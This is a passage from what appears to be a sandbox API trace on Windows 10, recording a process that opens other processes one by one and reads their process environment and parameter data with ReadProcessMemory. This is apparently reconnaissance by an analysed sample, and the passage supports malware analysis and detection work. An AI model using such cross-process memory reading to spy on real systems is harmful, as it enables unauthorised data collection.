ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.876] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2f9020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.876] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.876] malloc (_Size=0x68) returned 0x20abc2807d0 [0180.876] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4e1958, lpBuffer=0x20abc2807d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0180.877] free (_Block=0x20abc2807d0) [0180.878] CloseHandle (hObject=0x330) returned 1 [0180.927] _ui64tow_s (in: _Value=0xf48, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0180.930] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3912") returned 4 [0180.931] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.931] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.944] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x330 [0180.944] GetLastError () returned 0x0 [0180.944] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.945] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x29c018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.945] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.945] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x541cd0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.945] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5418f8, lpBuffer=0x2dc237c1c0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.946] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.947] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.947] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x29c020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.947] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5412e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.947] malloc (_Size=0x68) returned 0x20abc2807d0 [0180.947] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x541958, lpBuffer=0x20abc2807d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0180.948] free (_Block=0x20abc2807d0) [0180.949] CloseHandle (hObject=0x330) returned 1 [0180.949] _ui64tow_s (in: _Value=0xf50, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0180.953] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3920") returned 4 [0180.954] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.954] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.978] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x330 [0180.978] GetLastError () returned 0x0 [0180.978] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.978] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x26b018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.978] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.978] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x481d30, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.978] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4818f8, lpBuffer=0x2dc237c1c0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.979] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.980] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.980] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x26b020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.980] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4812e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.981] malloc (_Size=0x88) returned 0x20abc284f30 [0180.981] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x481978, lpBuffer=0x20abc284f30, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0180.981] free (_Block=0x20abc284f30) [0180.982] CloseHandle (hObject=0x330) returned 1 [0180.982] _ui64tow_s (in: _Value=0xf64, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0180.986] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3940") returned 4 [0180.987] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.987] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.000] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x330 [0181.000] GetLastError () returned 0x0 [0181.001] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.001] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x358018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.001] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.001] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d1d20, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.001] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc237c1c0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.002] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.003] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.003] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x358020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.003] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.003] malloc (_Size=0x84) returned 0x20abc284f30 [0181.003] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x1d1974, lpBuffer=0x20abc284f30, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0181.004] free (_Block=0x20abc284f30) [0181.005] CloseHandle (hObject=0x330) returned 1 [0181.005] _ui64tow_s (in: _Value=0xf6c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3948") returned 0x0 [0181.008] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3948") returned 4 [0181.009] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.009] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.041] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf6c) returned 0x330 [0181.041] GetLastError () returned 0x0 [0181.042] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.042] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x419018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.042] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.042] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x391c90, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.042] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3918f8, lpBuffer=0x2dc237c1c0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.043] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.044] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.045] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x419020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.045] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3912e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.045] malloc (_Size=0x54) returned 0x20abc2aa990 [0181.045] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x391944, lpBuffer=0x20abc2aa990, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa990*, lpNumberOfBytesRead=0x0) returned 1 [0181.046] free (_Block=0x20abc2aa990) [0181.046] CloseHandle (hObject=0x330) returned 1 [0181.047] _ui64tow_s (in: _Value=0xf78, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3960") returned 0x0 [0181.050] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3960") returned 4 [0181.051] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.051] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.067] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf78) returned 0x330 [0181.067] GetLastError () returned 0x0 [0181.067] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.067] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3ab018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.067] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.068] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5e1ce0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.068] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5e18f8, lpBuffer=0x2dc237c1c0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.069] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.070] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.070] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3ab020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.070] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5e12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.070] malloc (_Size=0x6e) returned 0x20abc2831b0 [0181.070] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5e195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0181.071] free (_Block=0x20abc2831b0) [0181.072] CloseHandle (hObject=0x330) returned 1 [0181.072] _ui64tow_s (in: _Value=0xf88, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3976") returned 0x0 [0181.087] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3976") returned 4 [0181.088] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.088] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.101] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf88) returned 0x330 [0181.101] GetLastError () returned 0x0 [0181.102] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.102] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x415018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.102] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.102] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x271c90, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.102] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2718f8, lpBuffer=0x2dc237c1c0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.103] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.104] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.104] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x415020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.104] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2712e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.105] malloc (_Size=0x54) returned 0x20abc2aa690 [0181.105] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x271944, lpBuffer=0x20abc2aa690, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa690*, lpNumberOfBytesRead=0x0) returned 1 [0181.105] free (_Block=0x20abc2aa690) [0181.106] CloseHandle (hObject=0x330) returned 1 [0181.106] _ui64tow_s (in: _Value=0xf90, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3984") returned 0x0 [0181.110] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3984") returned 4 [0181.111] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.111] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.128] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf90) returned 0x330 [0181.128] GetLastError () returned 0x0 [0181.129] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.129] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x380018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.129] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.129] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x501cc0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.129] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5018f8, lpBuffer=0x2dc237c1c0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0181.130] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0181.131] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0181.131] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x380020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0181.132] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5012e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0181.132] malloc (_Size=0x64) returned 0x20abc2807d0 [0181.132] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x501954, lpBuffer=0x20abc2807d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0181.132] free (_Block=0x20abc2807d0) [0181.133] CloseHandle (hObject=0x330) returned 1 [0181.133] _ui64tow_s (in: _Value=0xf9c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3996") returned 0x0 [0181.137] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3996") returned 4 [0181.137] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0181.137] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0181.150] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf9c) returned 0x330 [0181.150] GetLastError () returned 0x0 [0181.151] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0181.151] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3fc018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0181.151] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0181.151] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x521cf0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0181.151] ReadProcessMemory (in: 